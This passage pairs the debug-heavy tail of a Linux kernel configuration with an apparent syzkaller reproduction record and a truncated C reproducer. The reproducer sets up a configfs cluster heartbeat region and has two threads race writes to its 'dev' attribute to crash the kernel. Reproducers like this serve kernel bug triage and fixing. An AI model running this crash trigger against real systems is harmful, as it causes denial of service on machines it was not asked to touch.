CONFIG_CRYPTO_LIB_GF128MUL=y
CONFIG_CRYPTO_LIB_BLAKE2B=y
CONFIG_CRYPTO_LIB_BLAKE2S_ARCH=y
CONFIG_CRYPTO_LIB_CHACHA=y
CONFIG_CRYPTO_LIB_CHACHA_ARCH=y
CONFIG_CRYPTO_LIB_CURVE25519=y
CONFIG_CRYPTO_LIB_CURVE25519_ARCH=y
CONFIG_CRYPTO_LIB_CURVE25519_GENERIC=y
CONFIG_CRYPTO_LIB_DES=y
CONFIG_CRYPTO_LIB_GF128HASH=y
CONFIG_CRYPTO_LIB_GF128HASH_ARCH=y
CONFIG_CRYPTO_LIB_MD5=y
CONFIG_CRYPTO_LIB_MLDSA=y
CONFIG_CRYPTO_LIB_NH=y
CONFIG_CRYPTO_LIB_NH_ARCH=y
CONFIG_CRYPTO_LIB_POLY1305=y
CONFIG_CRYPTO_LIB_POLY1305_ARCH=y
CONFIG_CRYPTO_LIB_POLY1305_GENERIC=y
CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11
CONFIG_CRYPTO_LIB_CHACHA20POLY1305=y
CONFIG_CRYPTO_LIB_SHA1=y
CONFIG_CRYPTO_LIB_SHA1_ARCH=y
CONFIG_CRYPTO_LIB_SHA256=y
CONFIG_CRYPTO_LIB_SHA256_ARCH=y
CONFIG_CRYPTO_LIB_SHA512=y
CONFIG_CRYPTO_LIB_SHA512_ARCH=y
CONFIG_CRYPTO_LIB_SHA3=y
CONFIG_XOR_BLOCKS=y
CONFIG_XOR_BLOCKS_ARCH=y
CONFIG_RAID6_PQ=y
CONFIG_RAID6_PQ_ARCH=y
# CONFIG_RAID6_PQ_BENCHMARK is not set
CONFIG_XXHASH=y
CONFIG_842_COMPRESS=y
CONFIG_842_DECOMPRESS=y
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=y
CONFIG_LZO_COMPRESS=y
CONFIG_LZO_DECOMPRESS=y
CONFIG_LZ4_COMPRESS=y
CONFIG_LZ4HC_COMPRESS=y
CONFIG_LZ4_DECOMPRESS=y
CONFIG_ZSTD_COMMON=y
CONFIG_ZSTD_COMPRESS=y
CONFIG_ZSTD_DECOMPRESS=y
CONFIG_XZ_DEC=y
CONFIG_XZ_DEC_X86=y
CONFIG_XZ_DEC_POWERPC=y
CONFIG_XZ_DEC_ARM=y
CONFIG_XZ_DEC_ARMTHUMB=y
CONFIG_XZ_DEC_ARM64=y
CONFIG_XZ_DEC_SPARC=y
CONFIG_XZ_DEC_RISCV=y
# CONFIG_XZ_DEC_MICROLZMA is not set
CONFIG_XZ_DEC_BCJ=y
# CONFIG_XZ_DEC_TEST is not set
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_XZ=y
CONFIG_DECOMPRESS_LZO=y
CONFIG_DECOMPRESS_LZ4=y
CONFIG_DECOMPRESS_ZSTD=y
CONFIG_GENERIC_ALLOCATOR=y
CONFIG_REED_SOLOMON=y
CONFIG_REED_SOLOMON_DEC8=y
CONFIG_TEXTSEARCH=y
CONFIG_TEXTSEARCH_KMP=y
CONFIG_TEXTSEARCH_BM=y
CONFIG_TEXTSEARCH_FSM=y
CONFIG_INTERVAL_TREE=y
CONFIG_INTERVAL_TREE_SPAN_ITER=y
CONFIG_XARRAY_MULTI=y
CONFIG_ASSOCIATIVE_ARRAY=y
CONFIG_CLOSURES=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_IOPORT_MAP=y
CONFIG_HAS_DMA=y
CONFIG_DMA_OPS_HELPERS=y
CONFIG_NEED_SG_DMA_FLAGS=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_ARCH_DMA_ADDR_T_64BIT=y
CONFIG_DMA_DECLARE_COHERENT=y
CONFIG_SWIOTLB=y
CONFIG_SWIOTLB_DEFAULT_SIZE_MB=64
# CONFIG_SWIOTLB_DYNAMIC is not set
CONFIG_DMA_NEED_SYNC=y
# CONFIG_DMA_RESTRICTED_POOL is not set
CONFIG_DMA_CMA=y
# CONFIG_DMA_NUMA_CMA is not set

#
# Default contiguous memory area size:
#
CONFIG_CMA_SIZE_MBYTES=0
CONFIG_CMA_SIZE_PERCENTAGE=0
# CONFIG_CMA_SIZE_SEL_MBYTES is not set
# CONFIG_CMA_SIZE_SEL_PERCENTAGE is not set
# CONFIG_CMA_SIZE_SEL_MIN is not set
CONFIG_CMA_SIZE_SEL_MAX=y
CONFIG_CMA_ALIGNMENT=8
# CONFIG_DMA_API_DEBUG is not set
# CONFIG_DMA_MAP_BENCHMARK is not set
CONFIG_SGL_ALLOC=y
CONFIG_CHECK_SIGNATURE=y
# CONFIG_CPUMASK_OFFSTACK is not set
CONFIG_CPU_RMAP=y
CONFIG_DQL=y
CONFIG_GLOB=y
CONFIG_NLATTR=y
CONFIG_CLZ_TAB=y
CONFIG_IRQ_POLL=y
CONFIG_MPILIB=y
CONFIG_SIGNATURE=y
CONFIG_DIMLIB=y
CONFIG_LIBFDT=y
CONFIG_OID_REGISTRY=y
CONFIG_VDSO_DATASTORE=y
CONFIG_GENERIC_GETTIMEOFDAY=y
CONFIG_GENERIC_VDSO_OVERFLOW_PROTECT=y
CONFIG_VDSO_GETRANDOM=y
CONFIG_FONT_SUPPORT=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_SG_POOL=y
CONFIG_ARCH_HAS_PMEM_API=y
CONFIG_MEMREGION=y
CONFIG_ARCH_HAS_CPU_CACHE_INVALIDATE_MEMREGION=y
CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y
CONFIG_ARCH_HAS_COPY_MC=y
CONFIG_ARCH_STACKWALK=y
CONFIG_STACKDEPOT=y
CONFIG_STACKDEPOT_ALWAYS_INIT=y
CONFIG_STACKDEPOT_MAX_FRAMES=64
CONFIG_REF_TRACKER=y
CONFIG_SBITMAP=y
# CONFIG_LWQ_TEST is not set
# end of Library routines

CONFIG_FIRMWARE_TABLE=y
CONFIG_UNION_FIND=y

#
# Kernel hacking
#

#
# printk and dmesg options
#
CONFIG_PRINTK_TIME=y
CONFIG_PRINTK_CALLER=y
# CONFIG_STACKTRACE_BUILD_ID is not set
CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7
CONFIG_CONSOLE_LOGLEVEL_QUIET=4
CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4
# CONFIG_BOOT_PRINTK_DELAY is not set
CONFIG_DYNAMIC_DEBUG=y
CONFIG_DYNAMIC_DEBUG_CORE=y
CONFIG_SYMBOLIC_ERRNAME=y
CONFIG_DEBUG_BUGVERBOSE=y
CONFIG_DEBUG_BUGVERBOSE_DETAILED=y
# end of printk and dmesg options

CONFIG_DEBUG_KERNEL=y
CONFIG_DEBUG_MISC=y

#
# Compile-time checks and compiler options
#
CONFIG_DEBUG_INFO=y
CONFIG_AS_HAS_NON_CONST_ULEB128=y
# CONFIG_DEBUG_INFO_NONE is not set
# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set
CONFIG_DEBUG_INFO_DWARF4=y
# CONFIG_DEBUG_INFO_DWARF5 is not set
# CONFIG_DEBUG_INFO_REDUCED is not set
CONFIG_DEBUG_INFO_COMPRESSED_NONE=y
# CONFIG_DEBUG_INFO_COMPRESSED_ZLIB is not set
# CONFIG_DEBUG_INFO_COMPRESSED_ZSTD is not set
# CONFIG_DEBUG_INFO_SPLIT is not set
# CONFIG_DEBUG_INFO_BTF is not set
CONFIG_PAHOLE_HAS_LANG_EXCLUDE=y
# CONFIG_GDB_SCRIPTS is not set
CONFIG_FRAME_WARN=2048
# CONFIG_STRIP_ASM_SYMS is not set
# CONFIG_READABLE_ASM is not set
# CONFIG_HEADERS_INSTALL is not set
# CONFIG_DEBUG_SECTION_MISMATCH is not set
CONFIG_SECTION_MISMATCH_WARN_ONLY=y
# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set
CONFIG_OBJTOOL=y
# CONFIG_OBJTOOL_WERROR is not set
CONFIG_NOINSTR_VALIDATION=y
# CONFIG_VMLINUX_MAP is not set
# end of Compile-time checks and compiler options

#
# Generic Kernel Debugging Instruments
#
# CONFIG_MAGIC_SYSRQ is not set
CONFIG_DEBUG_FS=y
CONFIG_DEBUG_FS_ALLOW_ALL=y
# CONFIG_DEBUG_FS_ALLOW_NONE is not set
CONFIG_HAVE_ARCH_KGDB=y
# CONFIG_KGDB is not set
CONFIG_ARCH_HAS_UBSAN=y
CONFIG_UBSAN=y
# CONFIG_UBSAN_TRAP is not set
CONFIG_CC_HAS_UBSAN_BOUNDS_STRICT=y
CONFIG_UBSAN_BOUNDS=y
CONFIG_UBSAN_BOUNDS_STRICT=y
CONFIG_UBSAN_SHIFT=y
# CONFIG_UBSAN_DIV_ZERO is not set
# CONFIG_UBSAN_BOOL is not set
# CONFIG_UBSAN_ENUM is not set
# CONFIG_UBSAN_ALIGNMENT is not set
# CONFIG_TEST_UBSAN is not set
CONFIG_HAVE_ARCH_KCSAN=y
CONFIG_HAVE_KCSAN_COMPILER=y
# end of Generic Kernel Debugging Instruments

#
# Networking Debugging
#
CONFIG_NET_DEV_REFCNT_TRACKER=y
CONFIG_NET_NS_REFCNT_TRACKER=y
CONFIG_DEBUG_NET=y
# CONFIG_DEBUG_NET_SMALL_RTNL is not set
# end of Networking Debugging

#
# Memory Debugging
#
CONFIG_PAGE_EXTENSION=y
# CONFIG_DEBUG_PAGEALLOC is not set
CONFIG_SLUB_DEBUG=y
# CONFIG_SLUB_DEBUG_ON is not set
CONFIG_SLUB_RCU_DEBUG=y
CONFIG_PAGE_OWNER=y
CONFIG_PAGE_TABLE_CHECK=y
CONFIG_PAGE_TABLE_CHECK_ENFORCED=y
CONFIG_PAGE_POISONING=y
# CONFIG_DEBUG_PAGE_REF is not set
# CONFIG_DEBUG_RODATA_TEST is not set
CONFIG_ARCH_HAS_DEBUG_WX=y
CONFIG_DEBUG_WX=y
CONFIG_ARCH_HAS_PTDUMP=y
CONFIG_PTDUMP=y
CONFIG_PTDUMP_DEBUGFS=y
CONFIG_HAVE_DEBUG_KMEMLEAK=y
# CONFIG_DEBUG_KMEMLEAK is not set
# CONFIG_PER_VMA_LOCK_STATS is not set
# CONFIG_MEM_ALLOC_PROFILING is not set
CONFIG_DEBUG_OBJECTS=y
# CONFIG_DEBUG_OBJECTS_SELFTEST is not set
CONFIG_DEBUG_OBJECTS_FREE=y
CONFIG_DEBUG_OBJECTS_TIMERS=y
CONFIG_DEBUG_OBJECTS_WORK=y
CONFIG_DEBUG_OBJECTS_RCU_HEAD=y
CONFIG_DEBUG_OBJECTS_PERCPU_COUNTER=y
CONFIG_DEBUG_OBJECTS_ENABLE_DEFAULT=1
# CONFIG_SHRINKER_DEBUG is not set
CONFIG_DEBUG_STACK_USAGE=y
CONFIG_SCHED_STACK_END_CHECK=y
CONFIG_ARCH_HAS_DEBUG_VM_PGTABLE=y
CONFIG_DEBUG_VFS=y
CONFIG_DEBUG_VM_IRQSOFF=y
CONFIG_DEBUG_VM=y
CONFIG_DEBUG_VM_MAPLE_TREE=y
CONFIG_DEBUG_VM_RB=y
CONFIG_DEBUG_VM_PGFLAGS=y
CONFIG_DEBUG_VM_PGTABLE=y
CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y
CONFIG_DEBUG_VIRTUAL=y
CONFIG_DEBUG_MEMORY_INIT=y
CONFIG_DEBUG_PER_CPU_MAPS=y
CONFIG_DEBUG_KMAP_LOCAL=y
CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y
CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP=y
CONFIG_HAVE_ARCH_KASAN=y
CONFIG_HAVE_ARCH_KASAN_VMALLOC=y
CONFIG_CC_HAS_KASAN_GENERIC=y
CONFIG_CC_HAS_KASAN_SW_TAGS=y
CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y
CONFIG_KASAN=y
CONFIG_CC_HAS_KASAN_MEMINTRINSIC_PREFIX=y
CONFIG_KASAN_GENERIC=y
# CONFIG_KASAN_OUTLINE is not set
CONFIG_KASAN_INLINE=y
CONFIG_KASAN_STACK=y
CONFIG_KASAN_VMALLOC=y
# CONFIG_KASAN_EXTRA_INFO is not set
CONFIG_HAVE_ARCH_KFENCE=y
CONFIG_KFENCE=y
CONFIG_KFENCE_SAMPLE_INTERVAL=100
CONFIG_KFENCE_NUM_OBJECTS=255
# CONFIG_KFENCE_DEFERRABLE is not set
CONFIG_KFENCE_STATIC_KEYS=y
CONFIG_KFENCE_STRESS_TEST_FAULTS=0
CONFIG_HAVE_ARCH_KMSAN=y
# end of Memory Debugging

# CONFIG_DEBUG_SHIRQ is not set

#
# Debug Oops, Lockups and Hangs
#
CONFIG_PANIC_ON_OOPS=y
CONFIG_PANIC_TIMEOUT=86400
CONFIG_LOCKUP_DETECTOR=y
CONFIG_SOFTLOCKUP_DETECTOR=y
# CONFIG_SOFTLOCKUP_DETECTOR_INTR_STORM is not set
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC=1
CONFIG_HAVE_HARDLOCKUP_DETECTOR_BUDDY=y
CONFIG_HARDLOCKUP_DETECTOR=y
# CONFIG_HARDLOCKUP_DETECTOR_PREFER_BUDDY is not set
CONFIG_HARDLOCKUP_DETECTOR_PERF=y
# CONFIG_HARDLOCKUP_DETECTOR_BUDDY is not set
# CONFIG_HARDLOCKUP_DETECTOR_ARCH is not set
CONFIG_HARDLOCKUP_DETECTOR_COUNTS_HRTIMER=y
CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y
CONFIG_BOOTPARAM_HARDLOCKUP_PANIC=y
CONFIG_DETECT_HUNG_TASK=y
CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=140
CONFIG_BOOTPARAM_HUNG_TASK_PANIC=1
# CONFIG_DETECT_HUNG_TASK_BLOCKER is not set
CONFIG_WQ_WATCHDOG=y
CONFIG_BOOTPARAM_WQ_STALL_PANIC=0
# CONFIG_WQ_CPU_INTENSIVE_REPORT is not set
# CONFIG_TEST_LOCKUP is not set
# end of Debug Oops, Lockups and Hangs

#
# Scheduler Debugging
#
CONFIG_SCHED_INFO=y
CONFIG_SCHEDSTATS=y
# end of Scheduler Debugging

CONFIG_DEBUG_PREEMPT=y
# CONFIG_DEBUG_ATOMIC is not set

#
# Lock Debugging (spinlocks, mutexes, etc...)
#
CONFIG_LOCK_DEBUGGING_SUPPORT=y
CONFIG_PROVE_LOCKING=y
CONFIG_PROVE_RAW_LOCK_NESTING=y
# CONFIG_LOCK_STAT is not set
CONFIG_DEBUG_RT_MUTEXES=y
CONFIG_DEBUG_SPINLOCK=y
CONFIG_DEBUG_MUTEXES=y
CONFIG_DEBUG_WW_MUTEX_SLOWPATH=y
CONFIG_DEBUG_RWSEMS=y
CONFIG_DEBUG_LOCK_ALLOC=y
CONFIG_LOCKDEP=y
CONFIG_LOCKDEP_BITS=20
CONFIG_LOCKDEP_CHAINS_BITS=20
CONFIG_LOCKDEP_STACK_TRACE_BITS=20
CONFIG_LOCKDEP_STACK_TRACE_HASH_BITS=14
CONFIG_LOCKDEP_CIRCULAR_QUEUE_BITS=12
# CONFIG_DEBUG_LOCKDEP is not set
CONFIG_DEBUG_ATOMIC_SLEEP=y
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_LOCK_TORTURE_TEST is not set
# CONFIG_WW_MUTEX_SELFTEST is not set
# CONFIG_SCF_TORTURE_TEST is not set
CONFIG_CSD_LOCK_WAIT_DEBUG=y
# CONFIG_CSD_LOCK_WAIT_DEBUG_DEFAULT is not set
# end of Lock Debugging (spinlocks, mutexes, etc...)

CONFIG_TRACE_IRQFLAGS=y
CONFIG_TRACE_IRQFLAGS_NMI=y
CONFIG_NMI_CHECK_CPU=y
CONFIG_DEBUG_IRQFLAGS=y
CONFIG_STACKTRACE=y
# CONFIG_DEBUG_KOBJECT is not set
# CONFIG_DEBUG_KOBJECT_RELEASE is not set

#
# Debug kernel data structures
#
CONFIG_DEBUG_LIST=y
CONFIG_DEBUG_PLIST=y
CONFIG_DEBUG_SG=y
CONFIG_DEBUG_NOTIFIERS=y
# CONFIG_DEBUG_CLOSURES is not set
CONFIG_DEBUG_MAPLE_TREE=y
# end of Debug kernel data structures

#
# RCU Debugging
#
CONFIG_PROVE_RCU=y
# CONFIG_RCU_SCALE_TEST is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_REF_SCALE_TEST is not set
CONFIG_RCU_CPU_STALL_TIMEOUT=100
CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0
# CONFIG_RCU_CPU_STALL_CPUTIME is not set
# CONFIG_RCU_TRACE is not set
CONFIG_RCU_EQS_DEBUG=y
# end of RCU Debugging

# CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set
# CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set
# CONFIG_LATENCYTOP is not set
CONFIG_USER_STACKTRACE_SUPPORT=y
CONFIG_NOP_TRACER=y
CONFIG_HAVE_RETHOOK=y
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_DYNAMIC_FTRACE=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y
CONFIG_HAVE_FTRACE_REGS_HAVING_PT_REGS=y
CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_JMP=y
CONFIG_HAVE_SYSCALL_TRACEPOINTS=y
CONFIG_HAVE_FENTRY=y
CONFIG_HAVE_OBJTOOL_MCOUNT=y
CONFIG_HAVE_OBJTOOL_NOP_MCOUNT=y
CONFIG_HAVE_C_RECORDMCOUNT=y
CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y
CONFIG_TRACE_CLOCK=y
CONFIG_RING_BUFFER=y
CONFIG_EVENT_TRACING=y
CONFIG_CONTEXT_SWITCH_TRACER=y
CONFIG_PREEMPTIRQ_TRACEPOINTS=y
CONFIG_TRACING=y
CONFIG_GENERIC_TRACER=y
CONFIG_TRACING_SUPPORT=y
CONFIG_FTRACE=y
CONFIG_TRACEFS_AUTOMOUNT_DEPRECATED=y
# CONFIG_BOOTTIME_TRACING is not set
# CONFIG_FUNCTION_TRACER is not set
# CONFIG_STACK_TRACER is not set
# CONFIG_IRQSOFF_TRACER is not set
# CONFIG_PREEMPT_TRACER is not set
# CONFIG_SCHED_TRACER is not set
# CONFIG_HWLAT_TRACER is not set
# CONFIG_OSNOISE_TRACER is not set
# CONFIG_TIMERLAT_TRACER is not set
# CONFIG_MMIOTRACE is not set
# CONFIG_FTRACE_SYSCALLS is not set
# CONFIG_TRACER_SNAPSHOT is not set
CONFIG_BRANCH_PROFILE_NONE=y
# CONFIG_PROFILE_ANNOTATED_BRANCHES is not set
CONFIG_BLK_DEV_IO_TRACE=y
# CONFIG_PROBE_EVENTS_DUMP_FETCHARG is not set
CONFIG_UPROBE_EVENTS=y
CONFIG_EPROBE_EVENTS=y
CONFIG_BPF_EVENTS=y
CONFIG_DYNAMIC_EVENTS=y
CONFIG_PROBE_EVENTS=y
# CONFIG_SYNTH_EVENTS is not set
# CONFIG_USER_EVENTS is not set
# CONFIG_HIST_TRIGGERS is not set
CONFIG_TRACE_EVENT_INJECT=y
# CONFIG_TRACEPOINT_BENCHMARK is not set
# CONFIG_RING_BUFFER_BENCHMARK is not set
# CONFIG_TRACE_EVAL_MAP_FILE is not set
# CONFIG_FTRACE_STARTUP_TEST is not set
# CONFIG_RING_BUFFER_STARTUP_TEST is not set
CONFIG_RING_BUFFER_VALIDATE_TIME_DELTAS=y
# CONFIG_RING_BUFFER_PERSISTENT_INJECT is not set
# CONFIG_PREEMPTIRQ_DELAY_TEST is not set
# CONFIG_RV is not set
# CONFIG_TRACE_REMOTE_TEST is not set
CONFIG_PROVIDE_OHCI1394_DMA_INIT=y
# CONFIG_SAMPLES is not set
CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y
CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y
CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y
# CONFIG_STRICT_DEVMEM is not set

#
# x86 Debugging
#
CONFIG_EARLY_PRINTK_USB=y
CONFIG_X86_VERBOSE_BOOTUP=y
CONFIG_EARLY_PRINTK=y
CONFIG_EARLY_PRINTK_DBGP=y
# CONFIG_EARLY_PRINTK_USB_XDBC is not set
# CONFIG_DEBUG_TLBFLUSH is not set
CONFIG_HAVE_MMIOTRACE_SUPPORT=y
# CONFIG_X86_DECODER_SELFTEST is not set
CONFIG_IO_DELAY_0X80=y
# CONFIG_IO_DELAY_0XED is not set
# CONFIG_IO_DELAY_UDELAY is not set
# CONFIG_IO_DELAY_NONE is not set
CONFIG_DEBUG_BOOT_PARAMS=y
# CONFIG_CPA_DEBUG is not set
CONFIG_DEBUG_ENTRY=y
# CONFIG_DEBUG_NMI_SELFTEST is not set
CONFIG_X86_DEBUG_FPU=y
# CONFIG_PUNIT_ATOM_DEBUG is not set
CONFIG_UNWINDER_ORC=y
# CONFIG_UNWINDER_FRAME_POINTER is not set
# end of x86 Debugging

#
# Kernel Testing and Coverage
#
# CONFIG_KUNIT is not set
# CONFIG_NOTIFIER_ERROR_INJECTION is not set
CONFIG_FAULT_INJECTION=y
CONFIG_FAILSLAB=y
CONFIG_FAIL_PAGE_ALLOC=y
CONFIG_FAULT_INJECTION_USERCOPY=y
CONFIG_FAIL_MAKE_REQUEST=y
CONFIG_FAIL_IO_TIMEOUT=y
CONFIG_FAIL_FUTEX=y
CONFIG_FAULT_INJECTION_DEBUG_FS=y
# CONFIG_FAIL_MMC_REQUEST is not set
# CONFIG_FAIL_SKB_REALLOC is not set
CONFIG_FAULT_INJECTION_CONFIGFS=y
# CONFIG_FAULT_INJECTION_STACKTRACE_FILTER is not set
CONFIG_ARCH_HAS_KCOV=y
CONFIG_KCOV=y
CONFIG_KCOV_ENABLE_COMPARISONS=y
CONFIG_KCOV_INSTRUMENT_ALL=y
CONFIG_KCOV_IRQ_AREA_SIZE=0x40000
# CONFIG_KCOV_SELFTEST is not set
CONFIG_RUNTIME_TESTING_MENU=y
# CONFIG_TEST_DHRY is not set
# CONFIG_LKDTM is not set
# CONFIG_TEST_DIV64 is not set
# CONFIG_TEST_MULDIV64 is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_TEST_REF_TRACKER is not set
# CONFIG_RBTREE_TEST is not set
# CONFIG_REED_SOLOMON_TEST is not set
# CONFIG_INTERVAL_TREE_TEST is not set
# CONFIG_PERCPU_TEST is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_ASYNC_RAID6_TEST is not set
# CONFIG_TEST_HEXDUMP is not set
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_TEST_BITMAP is not set
# CONFIG_TEST_XARRAY is not set
# CONFIG_TEST_MAPLE_TREE is not set
# CONFIG_TEST_RHASHTABLE is not set
# CONFIG_TEST_IDA is not set
# CONFIG_TEST_LKM is not set
# CONFIG_TEST_BITOPS is not set
# CONFIG_TEST_VMALLOC is not set
# CONFIG_TEST_WORKQUEUE is not set
# CONFIG_TEST_BPF is not set
# CONFIG_FIND_BIT_BENCHMARK is not set
# CONFIG_REGION_ALLOC_BENCHMARK is not set
# CONFIG_TEST_FIRMWARE is not set
# CONFIG_TEST_SYSCTL is not set
# CONFIG_CONTEXT_ANALYSIS_TEST is not set
# CONFIG_TEST_UDELAY is not set
# CONFIG_TEST_STATIC_KEYS is not set
# CONFIG_TEST_DYNAMIC_DEBUG is not set
# CONFIG_TEST_KMOD is not set
# CONFIG_TEST_KALLSYMS is not set
# CONFIG_TEST_DEBUG_VIRTUAL is not set
# CONFIG_TEST_MEMCAT_P is not set
# CONFIG_TEST_MEMINIT is not set
# CONFIG_TEST_HMM is not set
# CONFIG_TEST_FREE_PAGES is not set
# CONFIG_TEST_CLOCKSOURCE_WATCHDOG is not set
# CONFIG_TEST_OBJPOOL is not set
CONFIG_ARCH_USE_MEMTEST=y
# CONFIG_MEMTEST is not set
# end of Kernel Testing and Coverage

#
# Rust hacking
#
# end of Rust hacking
# end of Kernel hacking

CONFIG_IO_URING_ZCRX=y
CONFIG_IO_URING_BPF=y
KernelConfigManager ci-qemu-upstream
KernelRepo git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
ReproCID 5925810172592128
ReproOpts
Show (105 bytes)
{"repeat":true,"procs":5,"slowdown":1,"sandbox":"","sandbox_arg":0,"close_fds":false,"callcomments":true}
ReproSyzID 6725080299601920
SyzkallerCommit d4abbeacd53add822a563e66a8ca9e64929b96ab
TargetArch amd64
TargetOS linux

Outputs:
Reproduced ✅
EquivalenceAnalysis
The reproducer successfully triggered the expected crash. The crash signature and call trace match the original bug report exactly, confirming that the underlying issue is the same.
OtherCrashReports
ReproC
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>

#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(1, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
        return -1;
    }
    int len = strlen(val);
    int res = write(fd, val, len);
    if (res < 0) {
        printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
        close(fd);
        return -1;
    }
    close(fd);
    printf("[+] Wrote '%s' to %s\n", val, path);
    return 0;
}

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Create cluster
    if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mycluster.\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mynode.\n");

    // Fix initialization order: address and port must be set before num
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created myregion.\n");

    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
    }
    printf("[+] Opened block device, fd=%d\n", dev_fd);

    snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    int sectsize = 512;
    if (ioctl(dev_fd, BLKSSZGET, &sectsize) < 0) {
        printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
    }
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char block_bytes_str[32];
    snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);

    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        printf("[-] Failed to open dev attr: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened dev attr twice.\n");

    pthread_t t1, t2;
